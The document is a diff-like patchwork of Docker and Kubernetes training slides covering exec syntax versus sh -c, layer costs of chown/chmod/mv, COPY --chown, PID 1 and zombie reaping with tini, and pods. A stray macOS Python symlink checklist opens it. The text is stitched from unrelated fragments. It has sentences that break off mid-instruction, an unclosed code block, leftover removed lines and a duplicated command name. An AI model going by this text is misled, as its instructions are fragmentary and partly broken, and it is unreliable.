+Check the `/usr/local/bin/python` symlink. It should be pointing to
+`/usr/local/Cellar/python/3`-something. If it isn't, follow these
+instructions.
+
+1) Verify that Python 3 is installed.
+
+```
+ls -la /usr/local/Cellar/Python
+```
+
+You should see one or more versions of Python 3. If you don't,

+2) Verify that `python` points to Python3.
+ 
+```
+ls -la /usr/local/bin/python

+
+If this points to `/usr/local/Cellar/python@2`, then we'll need to change it.

-## Introducing JSON syntax

-Most Dockerfile arguments can be passed in two forms:

-* plain string:
+* On UNIX, to start a new program, we need two system calls:
+
+  - `fork()`, to create a new child process;
+
+  - `execve()`, to replace the new child process with the program to run.
+
+* Conceptually, `execve()` works like this:
+
+  `execve(program, [list, of, arguments])`
+
+* When we run a command, e.g. `ls -l /tmp`, something needs to parse the command.
+
+  (i.e. split the program and its arguments into a list.)
+
+* The shell is usually doing that.
+
+  (It also takes care of expanding environment variables and special things like `~`.)
+
+---
+
+class: extra-details
+
+## Why `sh -c`?
+
+* When we do `RUN ls -l /tmp`, the Docker builder needs to parse the command.
+
+* Instead of implementing its own parser, it outsources the job to the shell.
+
+* That's why we see `sh -c ls -l /tmp` in that case.
+
+* But we can also do the parsing jobs ourselves.
+
+* This means passing `RUN` a list of arguments.
+
+* This is called the *exec syntax*.

+
+`exec` should be followed by a program and its arguments.

+From a user perspective:

+- it looks like the shell exits right away after the command execution,

+- in fact, the shell exits just *before* command execution;

+
+```dockerfile
+CMD exec figlet -f script hello
+```

+In this example, `sh -c` will still be used, but
+`figlet` will be PID 1 in the container.
+
+The shell gets replaced by `figlet` when `figlet` starts execution.
+
+This allows to run processes as PID 1 without using JSON.

+## Be careful with `chown`, `chmod`, `mv`
+
+* Layers cannot store efficiently changes in permissions or ownership.
+
+* Layers cannot represent efficiently when a file is moved either.
+
+* As a result, operations like `chown`, `chown`, `mv` can be expensive.
+
+* For instance, in the Dockerfile snippet below, each `RUN` line
+  creates a layer with an entire copy of `some-file`.
+
+  ```dockerfile
+  COPY some-file .
+  RUN chown www-data:www-data some-file
+  RUN chmod 644 some-file
+  RUN mv some-file /var/www
+  ```
+
+* How can we avoid that?
+
+---
+
+## Put files on the right place
+
+* Instead of using `mv`, directly put files at the right place.
+
+* When extracting archives (tar, zip...), merge operations in a single layer.
+
+  Example:
+
+  ```dockerfile
+    ...
+    RUN wget http://.../foo.tar.gz \
+     && tar -zxf foo.tar.gz \
+     && mv foo/fooctl /usr/local/bin \
+     && rm -rf foo
+  ...
+  ```
+
+---
+
+## Use `COPY --chown`
+
+* The Dockerfile instruction `COPY` can take a `--chown` parameter.
+
+  Examples:
+
+  ```dockerfile
+  ...
+  COPY --chown=1000 some-file .
+  COPY --chown=1000:1000 some-file .
+  COPY --chown=www-data:www-data some-file .
+  ```
+
+* The `--chown` flag can specify a user, or a user:group pair.
+
+* The user and group can be specified as names or numbers.
+
+* When using names, the names must exist in `/etc/passwd` or `/etc/group`.
+
+  *(In the container, not on the host!)*
+
+---
+
+## Set correct permissions locally
+
+* Instead of using `chmod`, set the right file permissions locally.
+
+* When files are copied with `COPY`, permissions are preserved.

+# Init systems and PID 1
+
+In this chapter, we will consider:
+
+- the role of PID 1 in the world of Docker,
+
+- how to avoid some common pitfalls due to the misuse of init systems.
+
+---
+
+## What's an init system?
+
+- On UNIX, the "init system" (or "init" in short) is PID 1.
+
+- It is the first process started by the kernel when the system starts.
+
+- It has multiple responsibilities:
+
+  - start every other process on the machine,
+
+  - reap orphaned zombie processes.
+
+---
+
+class: extra-details
+
+## Orphaned zombie processes ?!?
+
+- When a process exits (or "dies"), it becomes a "zombie".
+
+  (Zombie processes show up in `ps` or `top` with the status code `Z`.)
+
+- Its parent process must *reap* the zombie process.
+
+  (This is done by calling `waitpid()` to retrieve the process' exit status.)
+
+- When a process exits, if it has child processes, these processes are "orphaned."
+
+- They are then re-parented to PID 1, init.
+
+- Init therefore needs to take care of these orphaned processes when they exit.
+
+---
+
+## Don't use init systems in containers
+
+- It's often tempting to use an init system or a process manager.
+
+  (Examples: *systemd*, *supervisord*...)
+
+- Our containers are then called "system containers".
+
+  (By contrast with "application containers".)
+
+- "System containers" are similar to lightweight virtual machines.
+
+- They have multiple downsides:
+
+  - when starting multiple processes, their logs get mixed on stdout,
+
+  - if the application process dies, the container engine doesn't see it.
+
+- Overall, they make it harder to operate troubleshoot containerized apps.
+
+---
+
+## Exceptions and workarounds
+
+- Sometimes, it's convenient to run a real init system like *systemd*.
+
+  (Example: a CI system whose goal is precisely to test an init script or unit file.)
+
+- If we need to run multiple processes: can we use multiple containers?
+
+  (Example: [this Compose file](https://github.com/jpetazzo/container.training/blob/master/compose/simple-k8s-control-plane/docker-compose.yaml) runs multiple processes together.)
+
+- When deploying with Kubernetes:
+
+  - a container belong to a pod,
+
+  - a pod can have multiple containers.
+
+---
+
+## What about these zombie processes?
+
+- Our application runs as PID 1 in the container.
+
+- Our application may or may not be designed to reap zombie processes.
+
+- If our application uses subprocesses and doesn't reap them ...
+
+  ... this can lead to PID exhaustion!
+
+  (Or, more realistically, to a confusing herd of zombie processes.)
+
+- How can we solve this?
+
+---
+
+## Tini to the rescue
+
+- Docker can automatically provide a minimal `init` process.
+
+- This is enabled with `docker run --init ...`
+
+- It uses a small init system ([tini](https://github.com/krallin/tini)) as PID 1:
+
+  - it reaps zombies,
+
+  - it forwards signals,
+
+  - it exits when the child exits.
+
+- It is totally transparent to our application.
+
+- We should use it if our application creates subprocess but doesn't reap them.
+
+---
+
+class: extra-details
+
+## What about Kubernetes?
+
+- Kubernetes does not expose that `--init` option.
+
+- However, we can achieve the same result with [Process Namespace Sharing](https://kubernetes.io/docs/tasks/configure-pod-container/share-process-namespace/).
+
+- When Process Namespace Sharing is enabled, PID 1 will be `pause`.
+
+- That `pause` process takes care of reaping zombies.
+
+- Process Namespace Sharing is available since Kubernetes 1.16.
+
+- If you're using an older version of Kubernetes ...
+
+  ... you might have to add `tini` explicitly to your Docker image.

+# Container Super-structure
+
+- Multiple orchestration platforms support some kind of container super-structure.
+
+  (i.e., a construct or abstraction bigger than a single container.)
+
+- For instance, on Kubernetes, this super-structure is called a *pod*.
+
+- A pod is a group of containers (it could be a single container, too).
+
+- These containers run together, on the same host.
+
+  (A pod cannot straddle multiple hosts.)
+
+- All the containers in a pod have the same IP address.
+
+- How does that map to the Docker world?

+## Pods in Docker
+
+- The containers inside a pod share the same network namespace.
+
+  (Just like when using `docker run --net=container:<container_id>` with the CLI.)
+
+- As a result, they can communicate together over `localhost`.
+
+- In addition to "our" containers, the pod has a special container, the *sandbox*.
+
+- That container uses a special image: `k8s.gcr.io/pause`.
+
+  (This is visible when listing containers running on a Kubernetes node.)
+
+- Containers within a pod have independent filesystems.
+
+- They can share directories by using a mechanism called *volumes.*
+
+  (Which is similar to the concept of volumes in Docker.)
